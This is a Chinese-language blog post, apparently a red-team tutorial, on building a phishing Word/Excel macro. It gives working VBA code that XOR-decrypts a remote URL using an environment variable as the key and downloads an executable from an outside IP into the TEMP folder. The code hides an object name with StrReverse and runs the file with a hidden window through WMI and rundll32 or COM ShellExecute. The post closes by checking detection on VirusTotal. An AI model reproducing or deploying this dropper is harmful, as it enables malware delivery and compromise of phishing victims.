釣魚文檔整理
VSole2021-12-12 06:43:52
這個思路是在國外一個網站上看到的,原文在這(https://0xdf.gitlab.io/2018/07/31/malware-analysis-muddoc.html),在此感謝作者給出的思路,這里簡單來給大家看下總體思路:

大體思路就是使用環境變量去xor解密遠程url地址,然后落地化dll,調用rundll32去運行dll,得到sessIon。
我們先來看一下用了xor加密的函數
(http://www.vbaexpress.com/kb/getarticle.php?kb_id=951):
Function XorC(ByVal sData As String, ByVal sKey As String) As String Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte Dim bEncOrDec As Boolean If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function If Left$(sData, 3) = "xxx" Then bEncOrDec = False sData = Mid$(sData, 4) Else bEncOrDec = True End If byIn = sData byOut = sData byKey = sKey l = LBound(byKey) For i = LBound(byIn) To UBound(byIn) - 1 Step 2 byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec l = l + 2 If l > UBound(byKey) Then l = LBound(byKey) Next i XorC = byOut If bEncOrDec Then XorC = "xxx" & XorC End Function
該函數接收兩個參數,一個字符串、一個key。而為了安全起見,我們的key不直接寫入到宏中,我們這里選擇使用環境變量來獲取key,機器上的環境變量可以使用set命令來查看:

我們在選擇key是,要注意目標環境的變量,每個機器變量可能都不盡相同,不過有一些變量是相同的,我這里選擇的是PROCESSOR_REVISION,值為9e0a,那么這里我們就要用到一個樣本了,樣本已上傳到github(https://github.com/lengjibo/RedTeamTools/blob/master/windows/macros/encryptor.xls),該宏可用于加密我們的url地址:

得到一個base64的字符串,然后解密

然后用我們的xor解密函數,key使用Environ來獲取,來進行解密:


解密出來的稍微有些問題,這里需要主要環境變量的大小寫問題,然后,我們使用下載函數,下載我們的dll,也就是之前的代碼:
Dim payload As String
Dim namePrefix As String
Dim nameSuffix As String
Dim zzz As String
Dim dollop As Object
Dim dstPath As String
Dim savePath As String
namePrefix = "AppLaunch-actual"
nameSuffix = ".exe"
payload = "http://192.168.41.4/AppLaunch.exe"
zzz = payload
Dim downloadf
Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
downloadf.Open "GET", zzz, False
downloadf.setRequestHeader "Host", "192.168.41.4"
downloadf.Send
Set dollop = CreateObject(StrReverse("maertS.bdodA"))
dollop.Type = 1
dollop.Open
dollop.Write downloadf.responseBody
dstPath = Environ$("TEMP") & "\" & namePrefix & nameSuffix
savePath = dstPath
dollop.savetofile savePath, 2
替換里面的指定位置的內容即可,然后調用wmi來運行rundll32來運行我們的dll.
Const HIDDEN_WINDOW = 0
strComputer = "."
abc = "rundll32" & " " & dstPath & ",Start"
strGetObject = ("winmgmts:\\.\root\cimv2")
Set objWMIService = GetObject(strGetObject)
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(strGetObject & (":Win32_Process"))
objProcess.Create abc, Null, objConfig, intProcessID
也就是稍微更改之前的代碼即可,或者調用com組建進程調用:
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0
然后測試:

vt測試:

VSole
網絡安全專家